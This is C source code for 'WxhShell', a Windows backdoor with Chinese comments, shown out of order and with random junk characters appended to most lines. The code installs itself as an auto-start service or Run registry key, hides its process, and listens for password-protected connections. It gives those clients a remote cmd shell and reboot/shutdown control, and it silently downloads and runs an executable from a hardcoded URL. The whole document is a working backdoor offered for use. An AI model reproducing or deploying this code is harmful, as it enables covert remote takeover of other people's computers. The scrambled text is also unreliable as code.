    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1QhQ#`$<1  
    else { [Djx@x  
    closesocket(wsh); >^W6'Q$P<  
    ExitThread(0); TWRnty-C  
    } n<)A5UB5-  
    break; s7jNRY V  
    } iVVR$uzhH  
  // 获取shell ?|NsaW  
  case 's': { S^i8VYK,C5  
    CmdShell(wsh); 6o]{< T/'  
    closesocket(wsh); 2ZbSdaM=  
    ExitThread(0); '9qyf<MlY  
    break; -d2)  
  } 2S:B%cj9m  
  // 退出 G.N `  
  case 'x': { lHliMBSc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7c%dSs6  
    CloseIt(wsh); Dbx zqd  
    break; `6YN/"unfp  
    } _h,X3P   
  // 离开 %y_pF?2@q  
  case 'q': { @qWClr{`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U0|bKU  
    closesocket(wsh); 2t0VbAO 1{  
    WSACleanup(); T1?9E{bC8A  
    exit(1); #;1RStb:zj  
    break; ~rq:I<5  
        } 7bGOE_r  
  } 9J_vvq`%`  
  } ^%6f%]_  
iYdg1  
  // 提示信息 'm<L}d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4__HH~j?Q  
} Q?>*h xzoP  
  } 5>H&0> \  
1n*"C!q  
  return; 5,O:"3>c  
} K0@bh/i/^  
hp7ni1V  
// shell模块句柄 gC%$)4-:  
int CmdShell(SOCKET sock) F7=\*U  
{ E+ XR[p  
STARTUPINFO si; 5ff5M=M  
ZeroMemory(&si,sizeof(si)); XfEp_.~JM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uVX,[%*P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V sL*&Fk  
PROCESS_INFORMATION ProcessInfo; \|4F?Y  
char cmdline[]="cmd"; ignOF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P $r!u%W  
  return 0; g<w1d{Td  
} KZ=5"a  
QD-Bt=S7l  
// 自身启动模式 *uxKI:rB:  
int StartFromService(void) <P*7u\9&  
{ Ir- 1@_1Q  
typedef struct C.}ho.} r  
{ !0Ak)Q]e'  
  DWORD ExitStatus; gA 5DEit  
  DWORD PebBaseAddress; e-xT.RnQ  
  DWORD AffinityMask; O|9Nl*rXz  
  DWORD BasePriority; 4VA]S  
  ULONG UniqueProcessId; "HJQAy?W  
  ULONG InheritedFromUniqueProcessId; :4\_upRE  
}   PROCESS_BASIC_INFORMATION; e9CvdR  
)"00fZL  
PROCNTQSIP NtQueryInformationProcess; 11!4#z6w  
ep l1xfr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZxDh! _[s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oChf&W 8u  
AO7X-,  
  HANDLE             hProcess; zR=g<e1xe  
  PROCESS_BASIC_INFORMATION pbi; IpKI6[2{`f  
e&m TaCLG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xKT;1(Mk  
  if(NULL == hInst ) return 0; k?Zcv*[)D+  
=wl0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ Fy)+<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pC&i!la{o}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7i=ER*F~  
%P *b&H^0  
  if (!NtQueryInformationProcess) return 0; %7Gq#rq  
i-sm9K'ns  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); On+0@hh  
  if(!hProcess) return 0; zHW&i~  
PhmtCp0-7-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iZ(p]0aP7  
@d ^MaXp_P  
  CloseHandle(hProcess); ?J"Y4,{  
^<aj~0v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ds8x9v)^  
if(hProcess==NULL) return 0; D]V&1n  
q}&+{dN\1  
HMODULE hMod; %nkbQ2^  
char procName[255]; .4=A:9  
unsigned long cbNeeded; ~}G#ys\1  
7z8   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); woU3WS0  
gdqED}v  
  CloseHandle(hProcess); i_$?sg#=yk  
;|CG9|p  
if(strstr(procName,"services")) return 1; // 以服务启动 +C4NhA2  
I=8MLv  
  return 0; // 注册表启动  8KzH -  
} bWB&8&p  
ZB,UQ~!Yr  
// 主模块 XfwH1n/o#  
int StartWxhshell(LPSTR lpCmdLine) ve*6WDK,H  
{ _b[Pk;8}j;  
  SOCKET wsl; R1:7]z0B  
BOOL val=TRUE; W jBtL52  
  int port=0; )Mw 3ZE92  
  struct sockaddr_in door;  Z Mf,3  
NB&zBJ#  
  if(wscfg.ws_autoins) Install(); TyaK_XW  
& y7~  
port=atoi(lpCmdLine); /5:qS\Zl  
pf_`{2.\uO  
if(port<=0) port=wscfg.ws_port; 0MOn>76$N  
p"NuR4   
  WSADATA data; uU8L93  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sO&eV68 [  
jTok1k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i# Fe`Z ~J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l37l| xp~  
  door.sin_family = AF_INET; A)f/ww)Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %U&ztvR0C  
  door.sin_port = htons(port); 8j@ADfZ9  
S%w67sGl4n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9OM&&Ue<E  
closesocket(wsl); I]N!cEr;@-  
return 1; `)1qq @  
} 2!Pwg0%2  
7FP @ vng  
  if(listen(wsl,2) == INVALID_SOCKET) { qo}u(p Oj|  
closesocket(wsl); bY=Yb  
return 1; ~*G}+Ur$2  
} 8EZ,hY^  
  Wxhshell(wsl); +PHuQ  
  WSACleanup(); toC|vn&P  
] iiB|xT  
return 0; i&,1  
DOW Z hD  
} Qkg([q4  
a~`,zQ -@  
// 以NT服务方式启动 (7}Zh|@W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O>arCr=H  
{ cN#f$  
DWORD   status = 0; !Y]%U @4}  
  DWORD   specificError = 0xfffffff; i8(n(  
eLop}*k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; } 71 9_DF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vXc gl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m\J" P'=  
  serviceStatus.dwWin32ExitCode     = 0; =&;}#A%m  
  serviceStatus.dwServiceSpecificExitCode = 0; ny+_&l^R~(  
  serviceStatus.dwCheckPoint       = 0; v|YJ2q?19  
  serviceStatus.dwWaitHint       = 0; A,GJ6qp3  
~bX ) %jC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O9MBQNwjA  
  if (hServiceStatusHandle==0) return; (I(k$g[>  
~=pyA#VVJ"  
status = GetLastError(); %J|xPp)  
  if (status!=NO_ERROR) +Ram%"Zwh  
{ I6F $@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  2dBjc{  
    serviceStatus.dwCheckPoint       = 0; ,koG*sn  
    serviceStatus.dwWaitHint       = 0; Hbz,3{o5  
    serviceStatus.dwWin32ExitCode     = status; yg@}j   
    serviceStatus.dwServiceSpecificExitCode = specificError; <x1H:8A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m}fY5r<<;/  
    return; ^VlPnx8y=  
  } T ^z M m  
Dlu]4n[LB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q02:qn?T  
  serviceStatus.dwCheckPoint       = 0; U7Pn $l2!  
  serviceStatus.dwWaitHint       = 0; |:d:uj/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `v$Bib)  
} b 'yW+  
v`u>; S_  
// 处理NT服务事件,比如:启动、停止 ?anKSGfj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2HJGp+H  
{ Q##L|*Qy  
switch(fdwControl) u:O6MO9^  
{ >CPoeIHK  
case SERVICE_CONTROL_STOP: ( 0Z3Ksfj1  
  serviceStatus.dwWin32ExitCode = 0; Rk52K*Dc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s$;IR c5!6  
  serviceStatus.dwCheckPoint   = 0; t%>x}b"2T  
  serviceStatus.dwWaitHint     = 0; $^"_Fox]A\  
  { cK+y3`.0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1`8(O >5  
  } HA%r:Px  
  return; lIF*$#`oh*  
case SERVICE_CONTROL_PAUSE: Z8_Q Kw>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yzmwNsu  
  break; AehkEN&H/t  
case SERVICE_CONTROL_CONTINUE: ^5![tTJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /2PsC*y  
  break; SB`"%6  
case SERVICE_CONTROL_INTERROGATE: s_N]$3'[E  
  break; N?;5%pG <  
}; * E3 c--  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o+Kh2;$)  
} lw"5p)aB  
$C !Mk  
// 标准应用程序主函数 *Ad7GG1/u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E$8 4c+  
{ :,(ZMx\  
5&*B2ZBzH  
// 获取操作系统版本 A?sU[b6_  
OsIsNt=GetOsVer(); #ZRplA~C7]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ePJtdKN:  
~.wDb,*  
  // 从命令行安装 RDu'N  
  if(strpbrk(lpCmdLine,"iI")) Install(); \V,;F!*#G  
R7 *ek_  
  // 下载执行文件 zx{O/v KG  
if(wscfg.ws_downexe) { }X`jhsqT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]xIfgSq  
  WinExec(wscfg.ws_filenam,SW_HIDE); `FM^)(wT  
} XK5qE"  
s GP}>w-JZ  
if(!OsIsNt) { :{v:sK  
// 如果时win9x,隐藏进程并且设置为注册表启动 #TX=%x6  
HideProc(); 9v<Sng  
StartWxhshell(lpCmdLine); k99ANW  
} yxa~R z/  
else &`'gO 9  
  if(StartFromService()) ^L<*ggw  
  // 以服务方式启动 q:1_D>  
  StartServiceCtrlDispatcher(DispatchTable); ep<2u x  
else k(;c<Z{?1  
  // 普通方式启动 ~xg1mS9d  
  StartWxhshell(lpCmdLine); =Jx,.|Bf  
y[l19eU  
return 0;  ,JcQp=g  
} '?~k`zK  
&,Xs=Lv mq  
$v6dB {%Qu  
 -'|pt,)  
=========================================== +0O{"XM  
k'BLos1W  
^m   
^E7>!Lbvx  
iM Xl}3  
a]465FY  
" M#qZ0JT4  
{[4Y(l1  
#include <stdio.h> 66%#$WH#  
#include <string.h> U!-|.N,  
#include <windows.h> Cse@>27s  
#include <winsock2.h> N+?kFob  
#include <winsvc.h> m GWT</=[$  
#include <urlmon.h> t p.qh]2c  
S`"M;%T  
#pragma comment (lib, "Ws2_32.lib") <&o `T4  
#pragma comment (lib, "urlmon.lib") XRI1/2YA  
}q(IKH\&  
#define MAX_USER   100 // 最大客户端连接数 |400N +MK  
#define BUF_SOCK   200 // sock buffer +6!.)Ea=  
#define KEY_BUFF   255 // 输入 buffer 1Ly?XNS  
y)v'0q  
#define REBOOT     0   // 重启 )^^r\  
#define SHUTDOWN   1   // 关机 L$`!~z 1  
(0qdU;  
#define DEF_PORT   5000 // 监听端口 6!i0ioZzi0  
X./4at`  
#define REG_LEN     16   // 注册表键长度 @Ns^?#u~   
#define SVC_LEN     80   // NT服务名长度 x]k^JPX  
P,O9On  
// 从dll定义API #TUsi,jG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I,AI$A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %t\`20-1<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mV;Egm{A\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hSD)|  
S&V5zB""n  
// wxhshell配置信息 z1LATy  
struct WSCFG { _SC>EP8:Z  
  int ws_port;         // 监听端口 *kxk@(lT?  
  char ws_passstr[REG_LEN]; // 口令 <9/oqp{C4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5jg^12EP  
  char ws_regname[REG_LEN]; // 注册表键名 _-Aw`<_*-  
  char ws_svcname[REG_LEN]; // 服务名 3;j?i<kM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {P(Z{9u%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o"v> BhpC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D|Z,eench  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;2}0Hr'|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +iwNM+K/gQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1` m ~c  
`2NL'O:  
}; ~?6V-m{>#  
o)?"P;UhJX  
// default Wxhshell configuration 5gV8=Ml"V  
struct WSCFG wscfg={DEF_PORT, qrNW\ME  
    "xuhuanlingzhe", sj`9O-?49  
    1, \x x<\8Qr_  
    "Wxhshell", c?eV8h1G  
    "Wxhshell", "F|OJ@ M  
            "WxhShell Service", C|W_j&S65  
    "Wrsky Windows CmdShell Service", .$4DK*  
    "Please Input Your Password: ", (XRj##G{  
  1, z0HCmj9T  
  "http://www.wrsky.com/wxhshell.exe", H U$:x"AW  
  "Wxhshell.exe" ,q/K&'0`  
    }; CQ"IL;y  
+&a2aEXF  
// 消息定义模块 OV>T}Fq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S,3e|-&$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t22BO@gt74  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T[<llh'+  
char *msg_ws_ext="\n\rExit."; c1CP1 2  
char *msg_ws_end="\n\rQuit."; 3VA8K@QiRm  
char *msg_ws_boot="\n\rReboot..."; "a`0s_F,^  
char *msg_ws_poff="\n\rShutdown..."; B {/Pv0y   
char *msg_ws_down="\n\rSave to "; ~?-U J^#  
|RAi6;  
char *msg_ws_err="\n\rErr!"; 0tn5>Dsk  
char *msg_ws_ok="\n\rOK!"; L|6clGp  
ERGDo=j  
char ExeFile[MAX_PATH]; =t&B8+6  
int nUser = 0; $|6Le; K  
HANDLE handles[MAX_USER]; 68)z`JI|<)  
int OsIsNt; cGsxfwD  
Zu\#;O   
SERVICE_STATUS       serviceStatus; < 5[wP)K@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TR{8A^XhE8  
w*#k&N[X  
// 函数声明 N iNZh;  
int Install(void); RURO0`^  
int Uninstall(void); Q-O:L  
int DownloadFile(char *sURL, SOCKET wsh); x}N+vK   
int Boot(int flag); >|@ /GpD  
void HideProc(void); V)Z*X88:Tv  
int GetOsVer(void); j^iH[pN] \  
int Wxhshell(SOCKET wsl); N_q7ip%z  
void TalkWithClient(void *cs); AUS?P t[w  
int CmdShell(SOCKET sock); eiP>?8  
int StartFromService(void); ~LO MwMHl  
int StartWxhshell(LPSTR lpCmdLine); IOTHk+w  
!S%XIq}FX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "@GopD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HQ@X"y n  
pVt-7 AgW  
// 数据结构和表定义 / )5B  
SERVICE_TABLE_ENTRY DispatchTable[] = +*)B;)P  
{ ;N]ElwP  
{wscfg.ws_svcname, NTServiceMain}, ?)4|WN|c_  
{NULL, NULL} z~o%U&DO}  
}; A>7'W\R  
0[PP Vr:  
// 自我安装 [ "J  
int Install(void) X-oou'4<  
{ 9N=Dls  
  char svExeFile[MAX_PATH]; T"9`[Lzva  
  HKEY key; Ez<J+#)t  
  strcpy(svExeFile,ExeFile); X[NsdD?w1+  
go2:D#mf  
// 如果是win9x系统,修改注册表设为自启动 b*dRNu  
if(!OsIsNt) { wvT!NN K2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~O@V;y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UTi n0k  
  RegCloseKey(key); 0~Yg={IKhK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RFg$N@g,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4y 582u6^  
  RegCloseKey(key); GsqrKrbJ  
  return 0; HX+'{zm]  
    } }Ax$}#  
  } SAThY$)6  
} JsfbY^wz  
else { 8C4 Tyms  
Z9=Cw0( w?  
// 如果是NT以上系统,安装为系统服务 x*BfRj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JWMIZ{/M  
if (schSCManager!=0) 1/a*8vuGh  
{  <MvFAuAT  
  SC_HANDLE schService = CreateService Qf>dfJ^q  
  ( a5Xr"-  
  schSCManager, t4h05i  
  wscfg.ws_svcname, <Er|s^C  
  wscfg.ws_svcdisp, bhe|q`1,E  
  SERVICE_ALL_ACCESS, Qkr'C n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "-ZuH   
  SERVICE_AUTO_START, ' 'UiQ   
  SERVICE_ERROR_NORMAL, UvQxtT]  
  svExeFile, {hg,F?p '  
  NULL, ]>R`]U9*O  
  NULL, g[H7.  
  NULL, db.iMBki  
  NULL, 8.Y6r  
  NULL [.Kia >  
  ); 2{+\\.4Evk  
  if (schService!=0) 2!]':(8mR  
  { F P mLost  
  CloseServiceHandle(schService); c/T]=S[  
  CloseServiceHandle(schSCManager); =x/]2+ s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f*oL8"?u&  
  strcat(svExeFile,wscfg.ws_svcname); + ` Em&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G _42ckLq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >K50 h  
  RegCloseKey(key); [(#ncR8B  
  return 0; J,{sRb%  
    } <]CO}r   
  } !8l4H c8  
  CloseServiceHandle(schSCManager); UnW,|n8  
} o5Pq>Y2T  
} L2Gm0 v  
~73YOGiGJH  
return 1; zpg*hlv  
} }p8a'3@Z  
M5 Pvc  
// 自我卸载 5G\vV]RR&  
int Uninstall(void) $qIMYX  
{ _5.7HEw>/  
  HKEY key; Q4c>gds`  
/7P4[~vw  
if(!OsIsNt) { +sgishqn9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^P&y9dC.  
  RegDeleteValue(key,wscfg.ws_regname); Y#?Sqm(  
  RegCloseKey(key); tgg *6lc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 47 m:z5;  
  RegDeleteValue(key,wscfg.ws_regname); n!3_%K0!r&  
  RegCloseKey(key); W J^r~*r  
  return 0; 5OKbW!  
  } Nv #vfh9}P  
} sEhdkN}6  
} $+7M Y-9T  
else { fS!%qr  
,pf<"^li  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bX5>qqB]  
if (schSCManager!=0) E>SnH  
{ j>?c]h{-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &*MwKr<y  
  if (schService!=0) Ej6vGC.,  
  { FeSe^^dW  
  if(DeleteService(schService)!=0) { wm8(Ju  
  CloseServiceHandle(schService); zy+|)^E  
  CloseServiceHandle(schSCManager); u4#BD!W  
  return 0; Z4E:Z}~''  
  } LA"`8  
  CloseServiceHandle(schService); .rN 5A+By`  
  } ;t"#7\  
  CloseServiceHandle(schSCManager); MlS<txFPS  
} |910xd`Z  
} $]xe,}*Af  
'>2xP<ct!&  
return 1; A9$q;8= <  
} =$Xdn'  
`4w0 *;k;  
// 从指定url下载文件 gt'0B-;W  
int DownloadFile(char *sURL, SOCKET wsh) "{L%5:H@  
{ mpXc o *!_  
  HRESULT hr; \f@PEiARG7  
char seps[]= "/"; Wd&!##3$Q  
char *token; V><5N;w  
char *file; l_+s$c  
char myURL[MAX_PATH]; GaM#a[p  
char myFILE[MAX_PATH]; [^~Fu9+"  
GG%j+Ed  
strcpy(myURL,sURL); A[=)Zw "  
  token=strtok(myURL,seps); >9Ub=tZm  
  while(token!=NULL) ",`fGu )  
  { -4;{QB?  
    file=token; %2bZeZ  
  token=strtok(NULL,seps); N7}.9%EV  
  } i<)c4  
e l7P  
GetCurrentDirectory(MAX_PATH,myFILE); 3D;\V&([  
strcat(myFILE, "\\"); Mq6.!j  
strcat(myFILE, file); gWgYZX  
  send(wsh,myFILE,strlen(myFILE),0); BNu zlR  
send(wsh,"...",3,0); c?>Q!sC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); im4V6 f;%  
  if(hr==S_OK) "fr B5[  
return 0; :6N{~[:4  
else *sZOws<  
return 1; Vk@u|6U'  
^<[oKi;>  
} Hz%#&E  
F}2U8O  
// 系统电源模块 4N*Fq!k~  
int Boot(int flag) D8BK/E-  
{ |UBR8  
  HANDLE hToken; '1^\^)&q  
  TOKEN_PRIVILEGES tkp; C03ehjT<  
8WfF: R;  
  if(OsIsNt) { :}e*3={4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &tHT6,Xv(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tlI3jrgw  
    tkp.PrivilegeCount = 1; "7Zb)Ocb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :=UeYm @  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2O`uzT$  
if(flag==REBOOT) { ^e<0-uM" s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e=1&mO?  
  return 0; u+z$+[lm!G  
} &6r".\; ^  
else { mNWmp_c,1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < yE(p  
  return 0; .nKyB'uV  
} =n i&*&  
  } 1LT)%_d@  
  else { K?(ls$  
if(flag==REBOOT) { k]ptk^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R%8nR6iG"  
  return 0; >2vl & (  
} @,pO%,E6  
else { EX=+TOkAf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) ?+-Z2BwA  
  return 0; Xv9kJ  
} n"(n*Hf7b  
} LL#7oBJdM  
!+JSguy  
return 1; r-H~MisL  
} DIkD6n?V  
ZQsE07  
// win9x进程隐藏模块 ('OPW&fRG  
void HideProc(void) ?U iwr{Q  
{ ofj7$se  
q~_Nv5r%O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B`iQN7fd  
  if ( hKernel != NULL ) T{{J' _s5L  
  { V-O49  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Apa)qRJd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ORp6  
    FreeLibrary(hKernel); FavU"QU&|  
  } ?b^VEp.;}  
y%v<Cp@R  
return; )PB&w%J  
} $6Nm`[V  
`m`jX|`  
// 获取操作系统版本 #W~5M ?+  
int GetOsVer(void) -Z4J?b  
{ &gIu<*u<  
  OSVERSIONINFO winfo; 2:&8FdU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t \Fc <  
  GetVersionEx(&winfo); T,`'qZ>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3!Rb {  
  return 1; i ao/l  
  else Haaungb"  
  return 0; OzX\ s=  
} ~ AS2$  
<E&1HeP  
// 客户端句柄模块 `0=0IPVd  
int Wxhshell(SOCKET wsl) HC?yodp^  
{ .hSacd  
  SOCKET wsh; zVGjXuNa  
  struct sockaddr_in client; JUF[Y^C  
  DWORD myID; >Y1?`  
ryW1OV6?_0  
  while(nUser<MAX_USER) /Fk LZm  
{ g4oFUyk{  
  int nSize=sizeof(client); gTH1FR8$y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i"F'n0*L  
  if(wsh==INVALID_SOCKET) return 1; |pqLwnOu  
e ! 6SJ7xC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \-#~)LB]M  
if(handles[nUser]==0) ^h1VCyoR*  
  closesocket(wsh); 'R*xg2!i  
else cx_[Y  
  nUser++; rf@/<Wu  
  } )>\J~{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a_`E'BkgU  
Gyjx:EM  
  return 0; B(:Kw;r?  
} o%Vf#W  
HvKueTQ  
// 关闭 socket }2:bYpYQ  
void CloseIt(SOCKET wsh) 0`h[|FYV  
{ d?v#gW  
closesocket(wsh); Bag2sk  
nUser--; $Y,,e3R3  
ExitThread(0); 6mep|![6  
} P>)-uLc~W  
U4 m[@wF  
// 客户端请求句柄 J.$<Lnt>u  
void TalkWithClient(void *cs) bsuUl*l)  
{ +y6|Nq  
^W_}Gd<-#Y  
  SOCKET wsh=(SOCKET)cs; ^n@iCr9  
  char pwd[SVC_LEN]; /q uf'CV}  
  char cmd[KEY_BUFF]; "f!*%SR: 1  
char chr[1]; T9t9])  
int i,j; $a15 8  
a_waLH/  
  while (nUser < MAX_USER) { Eh!%Ne O  
_xl#1>G^J  
if(wscfg.ws_passstr) { SjtGU47$!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >u*woNw(XM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _8 vxb  
  //ZeroMemory(pwd,KEY_BUFF); MeQ(,irr^  
      i=0; r?{Vqephz  
  while(i<SVC_LEN) { B 0 K2Uw  
D8m?`^Zz  
  // 设置超时 R>/M>*C  
  fd_set FdRead; }ebw1G  
  struct timeval TimeOut; |GdA0y\v*}  
  FD_ZERO(&FdRead); w?jmi~6  
  FD_SET(wsh,&FdRead); g#9w5Q  
  TimeOut.tv_sec=8; ~1|sf8  
  TimeOut.tv_usec=0; 0WF(Ga/o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tborRi)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M\\TQ(B  
L9Fx Lw41  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); By3dRiM=,2  
  pwd=chr[0]; ;cp-jY_U  
  if(chr[0]==0xd || chr[0]==0xa) { n 8AND0a1C  
  pwd=0; 7 aDI6G  
  break; _N/]&|.. !  
  } e!tgWYN  
  i++; g?`D8  
    } {D."A$AAa  
W.MJyem  
  // 如果是非法用户,关闭 socket & \<RVE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M?[lpH3  
} P%ZWm=lg  
mKe{y.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k\ I$ve"*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zr}`W \  
.8b 4  
while(1) { ( fdDFb#1  
hXz"}X n  
  ZeroMemory(cmd,KEY_BUFF); /R|"/B0  
3qpk Mu3  
      // 自动支持客户端 telnet标准   8^dGI9N  
  j=0; ,Yi =s;E  
  while(j<KEY_BUFF) { m G?a)P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ik8e  
  cmd[j]=chr[0]; }-r"W7]k  
  if(chr[0]==0xa || chr[0]==0xd) { -\UzL:9>  
  cmd[j]=0; ]\#RsVX  
  break; 7DOAG[gH  
  } JiI(?I  
  j++; `Z%XA>  
    } 9sYX(Fl  
NA/+bgyuT>  
  // 下载文件 A8Jbl^7E+  
  if(strstr(cmd,"http://")) { &RROra  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }PED#Uv  
  if(DownloadFile(cmd,wsh)) l\$C)q6O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1"v;w!uh  
  else ,pLesbI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / /wmJ |  
  } /f# rN_4  
  else { H.>KYiv+  
29av8eW?3  
